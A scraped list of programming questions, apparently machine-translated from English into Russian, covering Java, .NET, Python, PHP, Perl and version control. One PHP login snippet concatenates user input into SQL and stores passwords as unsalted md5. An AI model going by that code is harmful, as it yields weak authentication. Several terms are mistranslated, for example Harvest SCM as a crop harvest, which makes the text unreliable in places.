Каким будет эквивалент главных страниц в мире веб-разработки Java? Я слышал о плитках, гобеленах и скорости, но ничего о них не знаю. Они так же просты в использовании, как и главные страницы?

Я хочу что-то такое же простое, как настроить один шаблон, а последующие страницы выводятся из шаблона и переопределяют области содержимого, подобно главным страницам.

Любые примеры были бы великолепны!!

java   model-view-controller   master-pages    

447   3   21:15, 19th August, 2020


Безопасная синхронизация папок по общедоступной сети

Мне нужно, чтобы файлы & папок на двух Windows основе, не доменных машин синхронизированы через общедоступную сеть.

Я думал rsync над SSH - но мне было интересно, есть ли более простое решение? Есть ли возможность использовать sync framework через SFTP/SCP/SSH?

Или я открыт для лучших идей?

synchronization   security   rsync    

616   11   12:38, 17th August, 2020


Когда инициализируется NavigationService?

Я хочу поймать событие NavigationService.Navigating с моей страницы, чтобы предотвратить переход пользователя вперед. У меня есть обработчик событий, определенный таким образом:

void PreventForwardNavigation(object sender, NavigatingCancelEventArgs e)
{
    if (e.NavigationMode == NavigationMode.Forward)
    {
        e.Cancel = true;
    }
}
...

и это прекрасно работает. Однако я не уверен, где именно разместить этот код:

NavigationService.Navigating += PreventForwardNavigation;

Если я помещу его в конструктор страницы или инициализированный обработчик событий, то NavigationService все равно будет null, и я получу NullReferenceException. Однако если я помещаю его в обработчик загруженных событий для страницы, то он вызывается каждый раз при переходе на страницу. Если я правильно понимаю, это означает, что я обрабатываю одно и то же событие несколько раз.

Могу ли я добавить один и тот же обработчик к событию несколько раз (как это произошло бы, если бы я использовал загруженное событие страницы для его подключения)? Если нет, то есть ли какое-то место между инициализацией и загрузкой, где я могу сделать эту проводку?

.net   wpf   navigation    

433   2   19:48, 20th August, 2020


pyGame в приложении pyGTK

Как лучше всего использовать PyGame (SDL) в приложении PyGTK?

Я ищу метод, который позволяет мне иметь область рисования в окне GTK и в то же время иметь возможность управлять событиями GTK и SDL.

python   gtk   pygtk   sdl   pygame    

446   7   00:45, 24th August, 2020


Python модуль для преобразования PDF в текст

Какие модули Python лучше всего подходят для преобразования PDF файлов в текст?

python   pdf   text-extraction   pdf-scraping    

545   13   22:24, 12th August, 2020


ColdFusion-когда использовать область "request"?

Я просматривал код моего предшественника и часто видел использование области "request". Как правильно использовать эту область?

coldfusion   railo   cfml    

528   4   04:22, 26th August, 2020


MVC-где реализовать проверку формы (на стороне сервера)?

При кодировании традиционного приложения MVC, какова наилучшая практика для кодирования проверки формы на стороне сервера? Принадлежит ли код контроллеру или уровню модели? И почему?

model-view-controller   validation   forms    

469   4   15:37, 29th August, 2020


Java платформа конфигурации

Я нахожусь в процессе отсеивания всех жестко закодированных значений в библиотеке Java и задаюсь вопросом, какой фреймворк будет лучшим (с точки зрения нулевой или close-to-zero конфигурации) для обработки конфигурации во время выполнения? Я бы предпочел файлы конфигурации на основе XML, но это не так важно.

Пожалуйста, отвечайте только в том случае, если у вас есть практический опыт работы с фреймворком. Я ищу не Примеры, а опыт...

java   xml   configuration   frameworks   configurationmanager    

427   14   23:44, 27th August, 2020


Наиболее эффективный способ получить данные из базы данных в сеанс

Каков самый быстрый способ получить большой объем данных (подумайте о гольфе) и самый эффективный (подумайте о производительности), чтобы получить большой объем данных из базы данных MySQL в сеанс, не продолжая делать то, что у меня уже есть:

$sql = "SELECT * FROM users WHERE username='" . mysql_escape_string($_POST['username']) . "' AND password='" . mysql_escape_string(md5($_POST['password'])) . "'";
$result = mysql_query($sql, $link) or die("There was an error while trying to get your information.\n<!--\n" . mysql_error($link) . "\n-->");
if(mysql_num_rows($result) < 1)
 {
    $_SESSION['username'] = $_POST['username'];
    redirect('index.php?p=signup');
 }
$_SESSION['id'] = mysql_result($result, '0', 'id');
$_SESSION['fName'] = mysql_result($result, '0', 'fName');
$_SESSION['lName'] = mysql_result($result, '0', 'lName');
...

И прежде чем кто-нибудь спросит "да", мне действительно нужно "SELECT

Edit: Да, Я дезинфицирую данные, так что не может быть никакой инъекции SQL, которая находится дальше в коде.

php   mysql   session    

438   10   06:22, 10th August, 2020


Вывод метки времени компиляции в исполняемом файле Visual C++?

Как я могу вставить информацию о компиляции timestamp в исполняемый файл, который я строю с помощью Visual C++ 2005? Я хочу иметь возможность выводить что-то подобное, когда я выполняю программу:

Эта сборка XXXX была скомпилирована в dd-mm-yy, hh:mm.

где дата и время отражают время, когда был построен проект. Они не должны изменяться при каждом последующем вызове программы, если только она не будет перекомпилирована.

c++   visual-c++   execution   compile-time    

600   6   09:09, 2nd August, 2020


Как перехватить вызов метода в C#?

Для данного класса я хотел бы иметь функцию трассировки, т. е. я хотел бы регистрировать каждый вызов метода (подпись метода и фактические значения параметров) и каждый выход метода (только подпись метода).

Как я могу это сделать предполагая что:

  • Я не хочу использовать какую-либо третью сторону AOP библиотеки для C#,
  • Я не хочу добавлять дубликат кода ко всем методам, которые я хочу trace,
  • Я не хочу изменять public API класса - пользователи класса должны иметь возможность вызывать все методы точно таким же образом.

Чтобы сделать вопрос более конкретным предположим что есть 3 класса:

 public class Caller 
 {
     public static void Call() 
     {
         Traced traced = new Traced();
         traced.Method1();
         traced.Method2(); 
     }
 }

 public class Traced 
 {
     public void Method1(String name, Int32 value) { }

     public void Method2(Object object) { }
 }

 public class Logger
 {
     public static void LogStart(MethodInfo method, Object[] parameterValues);

     public static void LogEnd(MethodInfo method);
 }

Как вызвать Logger.LogStart и Logger.LogEnd для каждого вызова Method1 и Method2 без изменения метода Caller.Call и без добавления вызовов явно в Traced.Method1 и Traced.Method2 ?

Edit: каким будет решение, если мне будет разрешено немного изменить метод вызова?

c#   reflection   aop    

519   15   08:44, 22nd August, 2020


Python отражение супер класса

Если у меня есть код Python

class A():
    pass
class B():
    pass
class C(A, B):
    pass

и у меня есть класс C , есть ли способ перебрать его супер-класс (A и B)? Что-то вроде псевдокода:

>>> magicGetSuperClasses(C)
(<type 'A'>, <type 'B'>)

Одним из решений, по-видимому, является модуль inspect и функция getclasstree .

def magicGetSuperClasses(cls):
    return [o[0] for o in inspect.getclasstree([cls]) if type(o[0]) == type]

но является ли это "Pythonian" способом достижения цели?

python   reflection    

437   4   07:44, 6th August, 2020


Как открыть решение VS 2008 в VS 2005?

Я видел, что решения, созданные в Visual Studio 2008, не могут быть открыты в Visual Studio 2005 , и попытался обойти проблему 1. Еще предстоит попробовать обходной путь 2.

Но поскольку эта связь была немного старой и от отчаяния спрашивала здесь: есть ли какой-нибудь конвертер?


У меня еще нет VS2008, и я хотел открыть решение с открытым исходным кодом, которое было сделано в vs2008.

Думаю, мне придется fiddle вокруг или ждать, пока vs2008 не будет отправлен.

visual-studio-2008   visual-studio-2005   projects-and-solutions    

420   5   10:39, 13th August, 2020


Какие цепочки инструментов существуют для непрерывной интеграции с C++?

Цепочки инструментов непрерывной интеграции для .NET, Java и других языков относительно хорошо определены, но рынок C++, похоже, имеет большое разнообразие.

Под CI "toolchain" я конкретно подразумеваю инструменты для построения скриптов, автоматизированного тестирования, проверки стандартов кодирования и т. д.

Что команды C++ используют для цепей инструментов CI?

c++   build-process   continuous-integration    

505   6   02:02, 5th August, 2020


CruiseControl.net дублировать NAnt тайминги

Я пытаюсь настроить CruiseControl.net webdashboard на данный момент. До сих пор это работает хорошо, но у меня есть проблема с отчетом о сроках сборки NAnt.

Во-первых, мой текущий файл ccnet.config выглядит примерно так:

<project name="bla">
...
<prebuild>
 <nant .../>
</prebuild>
<tasks>
 <nant .../>
</tasks>
<publishers>
 <nant .../>
</publishers>
...
</project>

Как завершится, NAnt отчет о времени отображает три дублировать резюме. Есть ли способ исправить это без изменения структуры проекта?

continuous-integration   cruisecontrol.net   nant    

475   2   12:39, 7th August, 2020


Безопасные онлайн-списки рекордов для не-веб-игр

Я играю с родной (не веб -) однопользовательской игрой, которую я пишу, и мне пришло в голову, что наличие списка рекордов daily/weekly/all-time онлайн (думаю, что Xbox Live Leaderboard) сделает игру намного интереснее, добавив некоторое (небольшое) количество сообщества и конкуренции. Однако я боюсь, что люди увидят такую функцию, как приглашение к взлому, что будет препятствовать обычным игрокам из-за невероятно высоких баллов.

Я думал об очевидных способах предотвращения таких попыток (public/private key encryption, например), но я выяснил достаточно простые способы, которыми хакеры могли бы обойти все мои идеи (извлечение открытого ключа из двоичного файла и, таким образом, отправка поддельных зашифрованных результатов, например).

Вы когда-нибудь реализовывали онлайн-список рекордов или таблицу лидеров? Нашли ли вы разумно защищенный от хакеров способ реализации этого? Если да, то как вы это сделали? Каковы ваши впечатления от попыток взлома?

encryption   leaderboard    

467   10   18:46, 16th August, 2020


Самая чистая и быстрая настройка сервера для Django

Я собираюсь развернуть сайт среднего размера на базе Django. У меня есть выделенный сервер Ubuntu.

Я действительно запутался в том, какой серверный софт использовать. Поэтому я подумал про себя: почему бы не спросить stackoverflow?

То, что я ищу, это:

  • Легко настраивается
  • Быстрый и легкий доступ к ресурсам
  • Могут служить медиафайлы
  • Возможность обслуживать несколько djangosites на одном сервере
  • Я бы предпочел не устанавливать PHP или что-то еще, что высасывает ресурсы, и для чего я не имею никакой пользы.

Я слышал о mod_wsgi и mod_python на Apache, nginx и lighty. Какие из них плюсы и минусы, и не упустил ли я кого-нибудь?

@Barry: почему-то мне кажется, что Apache-это слишком много для меня. А как насчет альтернатив?

@BrianLy: хорошо, я проверю mod_wsgi еще немного. Но зачем мне нужен Apache, если я обслуживаю статические файлы с помощью lighty? Мне также удалось обслуживать само приложение django с помощью lighty. Разве это плохо в любом случае? Прости за то, что вел себя так глупо :-)

UPDATE : а как насчет lighty и nginx - какие варианты использования являются идеальным выбором?

python   django   apache   hosting    

638   13   14:11, 27th August, 2020


Стратегии Тестирования На Основе Моделей

Какие стратегии вы использовали при тестировании на основе моделей?

  • Вы используете его исключительно для интеграционное тестирование, или его ветвление в других местах (Проверка unit/functional/system/spec)?
  • Вы строите сфокусированные модели "sealed" или вы развиваете сложные модели onibus с течением времени?
  • Когда в продуктовом цикле вы инвестируете в создание MBTs?
  • Какие базовые тестовые библиотеки вы создаете исключительно для MBTs?
  • Какая разница, что вы делаете в своих функциональных базовых тестовых библиотеках для лучшей поддержки MBTs?

testing   integration-testing   mbt    

403   4   08:34, 26th August, 2020


Когда в классе PHP5 вызывается частный конструктор?

Допустим, я пишу класс PHP (>= 5.0), который должен быть singleton. Все документы, которые я читал, говорят о том, чтобы сделать конструктор класса закрытым, чтобы класс не мог быть непосредственно создан.

Так что если у меня есть что-то вроде этого:

class SillyDB
{
  private function __construct()
  {

  }

  public static function getConnection()
  {

  }
}

Есть ли случаи, когда __construct() вызывается иначе, чем если я делаю a

new SillyDB() 

позвонить внутрь самого класса?

И почему мне вообще позволено создавать экземпляр SillyDB изнутри самого себя?

php   oop   constructor    

508   5   17:17, 18th August, 2020


Доступ к компонентам .NET из Powershell

Я хочу использовать Powershell для написания некоторых утилит, используя наши собственные компоненты .NET для выполнения фактической работы. Это вместо написания небольшого консольного приложения, чтобы связать вызовы вместе. Мой вопрос заключается в том, где я мог бы найти хороший источник документации или учебных материалов, чтобы помочь мне быстро отслеживать это?

powershell   components    

436   3   23:12, 17th August, 2020


VBScript/ASP Classic

У меня есть пара вопросов относительно VBScript и ASP Classic:

  1. Каков предпочтительный способ доступа к базе данных сервера MS SQL в VBScript/ASP?

  2. Каковы наилучшие методы в отношении отделения модели от представления от контроллера?

  3. Есть еще что-нибудь, что я должен знать о VBScript или ASP?

Если вы еще не заметили, я новичок в кодировании VBScript. Я понимаю, что числа 2 & 3-это своего рода гигантские вопросы "black hole", которые являются слишком общими, поэтому не думайте, что я ожидаю узнать все, что нужно знать об этих двух вопросах отсюда.

sql-server   model-view-controller   asp-classic   vbscript    

489   10   03:42, 20th August, 2020


Почему вообще закупается урожай?

Использует ли ваша рабочая среда Harvest SCM? Я использовал это сейчас в двух разных местах и нахожу это ужасным. В одной ситуации я написал сценарий преобразования, чтобы использовать CVS локально, а затем ежедневно импортировать изменения в систему сбора урожая, пока я сплю. Корпорация была фанатично настроена на использование Harvest, несмотря на то, что 80% программистов требовали чего-то другого. Это было бессмысленно сложно, медленно и тяжело. Теперь для меня обязательным условием работы является то, что Harvest не используется там, где я работаю.

Кто-нибудь еще использовал Harvest раньше? Каков ваш опыт? Так же плохо, как у меня? Вы использовали другие, другие обходные пути? Почему этот продукт все еще покупается сегодня?

version-control   harvest    

413   7   06:11, 25th August, 2020


Фильтрация коллекций в C#

Я ищу очень быстрый способ отфильтровать коллекцию в C#. в настоящее время я использую универсальные List<object> коллекции, но открыт для использования других структур, если они работают лучше.

В настоящее время я просто создаю новый List<object> и зацикливаюсь на исходном списке. Если критерии фильтрации совпадают, я помещаю копию в новый список.

Есть ли лучший способ сделать это? Есть ли способ фильтровать на месте, чтобы не было необходимости во временном списке?

c#   collections   filtering    

596   9   10:38, 16th August, 2020


Compact Framework - есть ли в наличии фреймворк MVC/библиотека?

Я нашел статью на эту тему от сотрудника Microsoft, но кто-нибудь реализовал более надежную структуру для этого? Существует ли легкий фреймворк для WinForms, который можно было бы легко портировать? Я хотел бы довольно быстро войти в курс дела и избежать создания собственной структуры/библиотеки, чтобы справиться с этим, когда кто-то более умный уже сделал это.

Я не смотрел на фабрику мобильного программного обеспечения из группы P&P, но подозреваю, что она довольно тяжелая. Стоит ли на это смотреть?

Edit: я не ищу информацию о проекте ASP.NET MVC. Я спрашиваю о реализации compact framework 'WinForms' и о том, как реализовать MVC с помощью этого.

c#   model-view-controller   windows-mobile   compact-framework   design-patterns    

553   7   00:19, 3rd August, 2020


Обработка исключений: контракт против исключительного подхода

Я знаю два подхода к обработке исключений, давайте посмотрим на них.

  1. Контрактный подход.

    Когда метод не делает то, что он говорит, что он будет делать в заголовке метода, он будет вызывать исключение. Таким образом, метод "promises", что он будет выполнять операцию, и если он не работает по какой-то причине, он будет выдавать исключение.

  2. Исключительный подход.

    Только бросать исключения, когда что-то действительно странное происходит. Вы не должны использовать исключения, когда вы можете разрешить ситуацию с обычным потоком управления (если операторы). Вы не используете исключения для потока управления, как в контрактном подходе.

Позволяет использовать оба подхода в разных случаях:

У нас есть класс Customer, который имеет метод под названием OrderProduct.

контрактный подход:

class Customer
{
     public void OrderProduct(Product product)
     {
           if((m_credit - product.Price) < 0)
                  throw new NoCreditException("Not enough credit!");
           // do stuff 
     }
}

исключительный подход:

class Customer
{
     public bool OrderProduct(Product product)
     {
          if((m_credit - product.Price) < 0)
                   return false;
          // do stuff
          return true;
     }
}

if !(customer.OrderProduct(product))
            Console.WriteLine("Not enough credit!");
else
   // go on with your life

Здесь я предпочитаю исключительный подход, так как это не является действительно исключительным, что у клиента нет денег, если он не выиграл в лотерею.

Но вот ситуация, в которой я ошибаюсь в стиле контракта.

Исключительный:

class CarController
{
     // returns null if car creation failed.
     public Car CreateCar(string model)
     {
         // something went wrong, wrong model
         return null;
     }
 }

Когда я вызываю метод с именем CreateCar, я чертовски хорошо ожидаю экземпляр Car вместо какого-то паршивого указателя null, который может разрушить мой рабочий код через дюжину строк. Поэтому я предпочитаю контракт этому:

class CarController
{

     public Car CreateCar(string model)
     {
         // something went wrong, wrong model
         throw new CarModelNotKnownException("Model unkown");

         return new Car();
     }
 }

Какой стиль вы используете? Как вы думаете, каков наилучший общий подход к исключениям?

exception    

416   5   18:27, 17th August, 2020


Работает Ли Для Вас Дизайн По Контракту?

Используете ли Вы дизайн по контракту профессионально? Это то, что вы должны сделать с самого начала проекта, или вы можете переключить передачу и начать включать ее в свой жизненный цикл разработки программного обеспечения? Что вы нашли в качестве плюсов / минусов подхода к дизайну?

Я столкнулся с подходом проектирования по контракту в курсе аспирантуры. В академической среде это казалось довольно полезным приемом. Но в настоящее время я не использую дизайн по контракту профессионально, и я не знаю других разработчиков, которые используют его. Было бы неплохо услышать о его фактическом использовании от толпы SO.

design-by-contract    

425   10   16:46, 23rd August, 2020


Есть ли разница между "foo is None" и "foo = = None"?

Есть ли какая-то разница между ними:

if foo is None: pass

и

if foo == None: pass

Соглашение, которое я видел в большинстве Python кода (и кода, который я сам пишу) является первым, но я недавно наткнулся на код, который использует последнее. Никто не является экземпляром (и единственным экземпляром, IIRC) из NoneType, так что это не должно иметь значения, верно? Есть ли какие-то обстоятельства, при которых это могло бы произойти?

python    

663   12   22:35, 27th August, 2020


Как установить кодировку в .getJSON jQuery

В моем веб-приложении я отправляю некоторые поля формы с помощью метода jQuery $.getJSON() . У меня возникли некоторые проблемы с кодировкой. Набор символов моего приложения- charset=ISO-8859-1, но я думаю, что эти поля представлены с UTF-8 .

Как я могу установить кодировку, используемую в вызовах $.getJSON ?

jquery   ajax   json   character-encoding    

483   5   14:47, 11th August, 2020


Какие библиотеки парсинга HTML вы рекомендуете в Java

Я хочу разобрать некоторые HTML, чтобы найти значения некоторых атрибутов / тегов и т. д.

Какие HTML Парсеры вы рекомендуете? Есть плюсы и минусы?

java   html   parsing   html-content-extraction    

455   3   22:42, 24th August, 2020


Почему мой текст нижнего колонтитула PDF невидим?

Я создаю PDFs по требованию с тегом ColdFusion CFDocument , например:

<cfdocument format="PDF" filename="#attributes.fileName#" overwrite="true">
    <cfdocumentitem type="footer">
        <table border="0" cellpadding="0" cellspacing="0" width="100%">
            <tr>
                <td align="left"><font face="Tahoma" color="black"><strong>My Client's Corporation</strong><br/>Street address<br/>City, ST 55555</font></td>
                <td align="right"><font face="Tahoma" color="black">Phone: 555.555.5555<br/>Fax: 555.555.5555<br/>Email: info@domain.com</font></td>
            </tr>
        </table>
    </cfdocumentitem>
    <html>
        <body>
            <table border="0" cellpadding="0" cellspacing="0" width="100%">
            <!--- some content here ... --->
            </table>
        </body>
    </html>
</cfdocument>

Проблема, с которой я сталкиваюсь, заключается в том, что иногда (на самом деле, большую часть времени, но не всегда) часть текста нижнего колонтитула есть, но невидима. Я могу выделить его и скопировать / вставить в блокнот, где я могу видеть все это, но в сгенерированном PDF видна только первая строка левого столбца нижнего колонтитула, а rest невидим. Поэтому я добавил черный цвет шрифта в коде.

screenshot of problem

Есть идеи, как это исправить?

pdf   coldfusion    

487   2   04:02, 2nd August, 2020


Что такое MVC и каковы его преимущества?

Я нашел, что такое mvp и mvc, и в чем разница , но это действительно не ответило на этот вопрос.

Я недавно начал использовать MVC, потому что это часть фреймворка, который собираюсь использовать я и мой партнер по работе. Мы выбрали его, потому что он выглядел легко и отделил процесс от отображения, есть ли преимущества помимо этого, о которых мы не знаем и которые могли бы упустить?

Плюсы

  1. Отображение и обработка разделены


Аферы

  1. Пока ни одного

model-view-controller   design-patterns    

519   11   23:14, 8th August, 2020


Какие библиотеки PL/SQL для автоматической генерации JSON вы рекомендуете?

Есть ли какие-нибудь хорошие библиотеки PL/SQL для JSON, с которыми вы работали и нашли их полезными?

В PL/SQL мне приходится утомительно передавать код возврата значений JSON в функции JavaScript. Я нашел одну библиотеку PL / SQL для автоматической генерации JSON,но она не делает точно все, что мне нужно. Например, я не мог расширить базовые функции в библиотеке, чтобы вернуть сложную древовидную структуру данных JSON, требуемую используемым мной компонентом дерева JavaScript.

Примечание:
Система, которая находится в производстве уже более 8 лет, была спроектирована так, чтобы использовать PL/SQL для CRUDs и большей части бизнес-логики. PL/SQL также генерирует 90% слоя представления (HTML/JavaScript), с помощью mod PL/SQL. другой 10% является отчетными данными, выполненными через Oracle Reports Builder.

json   plsql    

412   5   16:31, 10th August, 2020


wxpython: как я могу проверить данные перетаскивания в OnDragOver?

Я немного озадачен перетаскиванием в wxPython (но, возможно, эти вопросы относятся и к перетаскиванию в других фреймворках GUI). Фреймворки предоставляют несколько обратных вызовов (OnEnter и OnDragOver), которые предположительно позволяют мне сообщить системе, является ли текущая позиция мыши допустимым местом для удаления того, что перетаскивается. Из этих методов я могу вернуть wx.DragNone, wx.DragCopy и т. д. Что меня озадачивает, так это то, что из этих методов мне не разрешено вызывать GetData, что означает, что мне не разрешено проверять данные, которые пользователь перетаскивает. Если я не могу видеть данные, как я должен знать, является ли это OK для пользователя, чтобы упасть здесь?

python   user-interface   drag-and-drop   wxpython   wxwidgets    

359   2   22:05, 6th August, 2020


java.lang.IllegalArgumentException: недопустимый в сопоставлении сервлетов

<servlet>
    <servlet-name>myservlet</servlet-name>
    <servlet-class>workflow.WDispatcher</servlet-class>
    <load-on-startup>2</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>myservlet</servlet-name>
    <url-pattern>*NEXTEVENT*</url-pattern>
</servlet-mapping>

Выше приведен фрагмент из Tomcat web.xml . Паттерн URL *NEXTEVENT* при запуске выбрасывает

java.lang.IllegalArgumentException: недопустимый <url-pattern> в сопоставлении сервлетов

Мы будем очень признательны, если кто-то сможет намекнуть на ошибку.

tomcat   servlets   web.xml   illegalargumentexception   servlet-mapping    

416   2   04:15, 13th August, 2020


Получение всех типов, реализующих интерфейс

Используя отражение, как я могу получить все типы, которые реализуют интерфейс с C# 3.0/.NET 3.5 с наименьшим количеством кода и минимизацией итераций?

Вот что я хочу переписать:

foreach (Type t in this.GetType().Assembly.GetTypes())
    if (t is IMyInterface)
        ; //do stuff

c#   optimization   reflection   lambda   c#-3.0    

460   13   14:02, 11th August, 2020


Perforce в магазине Microsoft

Наш магазин разработчиков в настоящее время использует Visual SourceSafe. Мы все знаем, как это может закончиться (плохо), поэтому мы исследуем другие системы. Во-первых, это Perforce. Есть ли у кого-нибудь опыт использования его и его интеграции в Visual Studio (2003/2005/2008)? Он так же хорош, как и любой другой, или он довольно прочный с хорошими чертами, сравнительно?

version-control   visual-sourcesafe   perforce    

354   9   08:57, 1st August, 2020


Как вы создаете резервную копию своей машины разработки?

Как вы создаете резервную копию своей машины разработки, чтобы в случае катастрофической неисправности оборудования вы были готовы и запущены в кратчайшие сроки?

backup   hardware   installation    

416   25   20:42, 26th August, 2020


Как представить информацию о кросс-модели в MVC?

У меня есть приложение, построенное с использованием MVC, которое создает представление, которое предоставляет сводную информацию по нескольким моделям. Кроме того, некоторые вычисления выполняются по различным наборам данных.

Нет четкой единой модели (которая, по крайней мере, сопоставляется с таблицей), которая, по-видимому, имеет смысл в качестве отправной точки для этого, поэтому различные сводки извлекаются из способствующих моделей в контроллере, передаются в представление и вычисления выполняются там.

Но это кажется, ну, грязным . Но контроллеры должны быть легкими, не так ли? И бизнес-логика не должна быть в представлениях,так как у меня она присутствует.

Так где же должна быть собрана эта информация? Новая модель, которая не сопоставляется с таблицей? Библиотека function/module? или что-то еще?

(Хотя я рассматриваю это как в основном архитектурный / шаблонный вопрос, я работаю в Rails, FWIW.)

Edit: хорошие ответы на все вопросы и много консенсуса, что обнадеживает. Я "accepted" ответ, который я сделал, чтобы сохранить ссылку на Railscasts в верхней части. Я отстаю в своем просмотре Railscast-что-то, что я буду делать напряженные попытки исправить!

ruby-on-rails   model-view-controller   design-patterns    

421   5   02:31, 17th August, 2020


Почему я не могу подключиться к моему серверу CAS с Perl AuthCAS?

Я пытаюсь использовать существующий сервер CAS для аутентификации входа в веб-скрипт Perl CGI и использую модуль AuthCAS Perl (v 1.3.1). Я могу подключиться к серверу CAS, чтобы получить билет службы, но когда я пытаюсь подключиться, чтобы проверить билет, мой скрипт возвращается со следующей ошибкой из модуля IO::Socket::SSL:

 500 Can't connect to [CAS Server]:443 (Bad hostname '[CAS Server]') 
 ([CAS Server] substituted for real server name)

Symptoms/Tests:

  1. Если я наберу сгенерированный URL для аутентификации в строке местоположения веб-браузера, он вернется просто отлично с ожидаемым фрагментом XML. Так что это не плохое имя хоста.
  2. Если я создаю сценарий без использования модуля AuthCAS, но используя модуль IO::Socket::SSL непосредственно для запроса сервера CAS для проверки созданного билета службы, сценарий Perl будет работать нормально из командной строки, но не в браузере.
  3. Если я добавлю модуль AuthCAS в скрипт в пункте 2, скрипт больше не будет работать в командной строке и по-прежнему не будет работать в браузере.

Вот голые кости скрипт, который производит ошибку:

#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use AuthCAS;
use CGI::Carp qw( fatalsToBrowser );

my $id = $ENV{QUERY_STRING};
my $q = new CGI;
my $target = "http://localhost/cgi-bin/testCAS.cgi";

my $cas = new AuthCAS(casUrl => 'https://cas_server/cas');

if ($id eq ""){
    my $login_url = $cas->getServerLoginURL($target);
    printf "Location: $login_url\n\n";
    exit 0;
} else {
    print $q->header();
    print "CAS TEST<br>\n";

    ## When coming back from the CAS server a ticket is provided in the QUERY_STRING
    print "QUERY_STRING = " . $id . "</br>\n";
    ## $ST should contain the received Service Ticket
    my $ST = $q->param('ticket');
    my $user = $cas->validateST($target, $ST);  #### This is what fails

    printf "Error: %s\n", &AuthCAS::get_errors() unless (defined $user);
}

Есть идеи, где может быть конфликт?


Сообщение об ошибке поступает от линии непосредственно над Cebjyre фрагмент процитировал именно

$ssl_socket = new IO::Socket::SSL(%ssl_options);

а именно: создание сокета. Все входные параметры верны. Я отредактировал модуль, чтобы ввести отладочные операторы и распечатать все параметры непосредственно перед этим вызовом, и все они в порядке. Похоже, мне придется глубже погрузиться в модуль IO::Socket::SSL.

perl   apache   authentication   ssl   cgi    

486   2   11:45, 24th August, 2020


Вы используете распределенный контроль версий?

Я хотел бы услышать от людей, которые используют распределенный контроль версий (он же распределенный контроль версий, децентрализованный контроль версий) и как они его находят. Что вы используете, Mercurial, Darcs, Git, Bazaar? Вы все еще используете его? Если вы использовали клиент / сервер rcs в прошлом, вы находите его лучше, хуже или просто по-другому? Что ты можешь мне сказать такого, что заставило бы меня вскочить на подножку? Или спрыгнуть, если на то пошло, мне было бы интересно услышать от людей с негативным опытом.

В настоящее время я рассматриваю замену нашей текущей системы управления версиями (Subversion), которая является стимулом для этого вопроса.

Я был бы особенно заинтересован в тех, кто использовал его с коллегами в других странах, где ваши машины не могут быть включены одновременно, и ваша связь очень медленная.

Если вы не уверены, что такое распределенный контроль версий, вот несколько статей:

Введение в распределенный контроль версий

Запись В Википедии

version-control   dvcs   revision    

472   18   20:44, 2nd August, 2020


Как можно требовать конструктор без параметров для типов, реализующих интерфейс?

Есть ли какой-то выход?

Мне нужно, чтобы все типы, реализующие определенный интерфейс, имели конструктор без параметров, можно ли это сделать?

Я разрабатываю базовый код для других разработчиков в моей компании, чтобы использовать его в конкретном проекте.

Существует процесс, который будет создавать экземпляры типов (в разных потоках), выполняющих определенные задачи, и мне нужно, чтобы эти типы следовали определенному контракту (ergo, интерфейс).

Интерфейс будет внутренним для assembly

Если у вас есть предложение для этого сценария без интерфейсов, я с удовольствием приму его во внимание...

c#   .net   constructor   interface   oop    

531   10   13:34, 27th August, 2020


Как удалить каталог с помощью cc.net / cruiscontrol?

Возможный Дубликат:
Задача предварительной сборки-удаление рабочей копии в CruiseControl.NET

Я хотел бы удалить свой рабочий каталог во время сборки cruisecontrol process...I'm, конечно, это легко, но я не смог найти пример этого...

Если вы знаете, как создать каталог, это тоже будет полезно.

Спасибо.

cruisecontrol.net   cruisecontrol    

521   4   19:15, 3rd August, 2020


Каково общее правило больших пальцев для создания исключения в Java?

Я был в обеих ситуациях:

  • Создание слишком большого количества пользовательских исключений
  • Использование слишком большого количества общих классов исключений

В обоих случаях проект стартовал OK, но вскоре стал накладными расходами на обслуживание (и рефактор).

Итак, какова наилучшая практика создания собственных классов исключений?

java   exception    

446   8   21:37, 11th August, 2020


Лучшие подходы к версионированию файлов Mac "bundle"

Таким образом, вы знаете, что многие приложения Mac используют "bundles": он выглядит как один файл для вашего приложения, но на самом деле это папка с большим количеством файлов внутри.

Чтобы система управления версиями могла справиться с этим, ей необходимо:

  • проверьте все файлы в каталоге, чтобы приложение могло изменять их по мере необходимости
  • при заселении,
    • фиксация файлов, которые были изменены
    • добавление новых файлов, созданных приложением
    • отметьте как удаленные файлы, которых больше нет (так как приложение удалило их)
    • управлять это как одно атомарное изменение

Есть идеи, как лучше всего справиться с этим с помощью существующих систем контроля версий? Есть ли какие-либо системы управления версиями более искусные в этой области?

macos   version-control   bundle    

462   4   22:00, 25th August, 2020


Сравнение массивов объектов в JavaScript

Я хочу сравнить 2 массива объектов в коде JavaScript. Объекты имеют 8 общих свойств, но каждый объект не будет иметь значения для каждого, и массивы никогда не будут больше 8 элементов каждый, так что, возможно, метод грубой силы обхода каждого и затем просмотра значений 8 свойств является самым простым способом сделать то, что я хочу сделать, но перед реализацией я хотел бы посмотреть, есть ли у кого-нибудь более элегантное решение. Есть какие-нибудь мысли?

javascript   arrays   comparison    

1986   10   23:24, 14th August, 2020


Как вы справляетесь со светлой и темной стороной распределенных систем управления версиями?

Недавно у меня были некоторые дискуссии на работе о переходе от Subversion к DVCS, как bazaar, и я хотел бы получить мнение других людей.

Мне удалось выкристаллизовать свое нежелание делать это в простую параллель.

Контроль версий может использоваться хорошо или плохо.

'light side' контроля версий-это когда вы используете его для отслеживания ваших изменений, можете вернуться к старым версиям, когда вы нарушаете материал, и когда вы публикуете свои изменения, чтобы ваши коллеги могли видеть ваш work-in-progress.

'dark side' контроля версий, когда вы не используете его должным образом, так что вы не 'checkpoint' ваша работа, совершая регулярно, вы держите кучу изменений в вашей локальной проверки, и вы не делитесь своими изменениями с другими, как вы делаете их.

Подрывная деятельность делает как светлую, так и темную сторону относительно жесткой. Все основы работают, но мало кто действительно использует ветвление в Subversion (помимо тегов и освобождения), потому что слияние не является простым вообще. Поддержка его в самой Subversion ужасна, и есть сценарии, такие как svnmerge, которые делают его лучше, но это все еще не очень хорошо. Итак, в наши дни, с хорошей поддержкой ветвления и слияния, которая все больше и больше похожа на необходимость совместной разработки, Subversion не соответствует.

С другой стороны, 'dark side' довольно трудно следовать тоже. Вам нужно только один раз укусить, не имея ваших локальных изменений, совершаемых время от времени в онлайн-хранилище, и сломать ваш код с помощью простого редактирования, которое вы даже не помните. Таким образом, вы в конечном итоге делаете регулярные коммиты, и люди могут видеть работу, которую вы делаете.

